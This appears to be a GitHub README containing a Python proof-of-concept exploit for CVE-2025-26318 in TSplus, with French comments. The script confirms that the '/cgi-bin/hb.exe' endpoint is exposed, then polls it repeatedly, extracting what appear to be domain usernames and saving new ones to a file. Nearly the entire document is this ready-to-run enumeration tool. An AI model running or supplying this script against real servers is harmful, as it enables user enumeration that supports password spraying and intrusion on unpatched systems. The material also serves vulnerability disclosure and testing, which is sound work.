README.md
Rendering markdown...
# Découverte vulnérabilité par Frozenk
# https://github.com/Frozenka
# CVE-2025-26318
import requests
import time
from datetime import datetime
print("This script checks the vulnerability of TSplus to domain user enumeration\n")
# Saisie des paramètres utilisateur
url = input("Enter URL (https://site.vuln.fr) : ")
url = url+("/cgi-bin/hb.exe") # ajout de la partie vulnérable de TSlog
# Test si application vulnérable
try:
response = requests.get(url)
# Vérifier si le statut HTTP est 200
if response.status_code == 200:
print("! Vulnerable ! ")
else:
print(f"Non-vulnerable site, HTTP status: {response.status_code} ")
except requests.exceptions.RequestException as e:
# En cas d'erreur (problème de connexion, etc.)
print(f"Error connecting to the URL {e}")
filename = input("Output file name : ")
interval_minutes = int(input("Execution (in minutes) : ")) # Conversion en entier
# Fonction pour récupérer les données de la page web
def fetch_data_from_web(url):
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
print(f"Error to acces page : {response.status_code}")
return None
# Fonction pour extraire les données après les chiffres
def extract_data(data):
lines = data.splitlines()
extracted_data = []
for line in lines:
parts = line.split(":")
if len(parts) > 4:
extracted_data.append(parts[-1].strip()) # Récupère la dernière partie et retire les espaces inutiles
return extracted_data
# Fonction pour écrire les données uniques dans un fichier, chaque donnée sur une nouvelle ligne
def write_unique_data_to_file(data, filename):
try:
# Lire les données existantes dans le fichier
with open(filename, 'r') as file:
existing_data = file.read().splitlines()
except FileNotFoundError:
# Si le fichier n'existe pas encore, initialiser une liste vide
existing_data = []
# Filtrer les nouvelles données pour qu'elles soient uniques
new_data = [d for d in data if d not in existing_data]
# Si on a des nouvelles données, les ajouter
if new_data:
with open(filename, 'a') as file:
for entry in new_data:
file.write(entry + '\n') # Écrit chaque donnée sur une nouvelle ligne
print(f"{len(new_data)} new data add.")
else:
print("No new data.")
# Fonction principale pour exécuter le script périodiquement
def run_periodically(url, filename, interval_minutes):
while True:
data = fetch_data_from_web(url)
if data:
extracted_data = extract_data(data)
write_unique_data_to_file(extracted_data, filename)
else:
print("Impossible to get data.")
# Obtenir l'heure actuelle et la formater
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{current_time}] Waiting for {interval_minutes} minutes before the next execution...")
# Mettre en pause pour l'intervalle défini
time.sleep(interval_minutes * 60)
# Exécution du script en boucle
run_periodically(url, filename, interval_minutes)
#EOF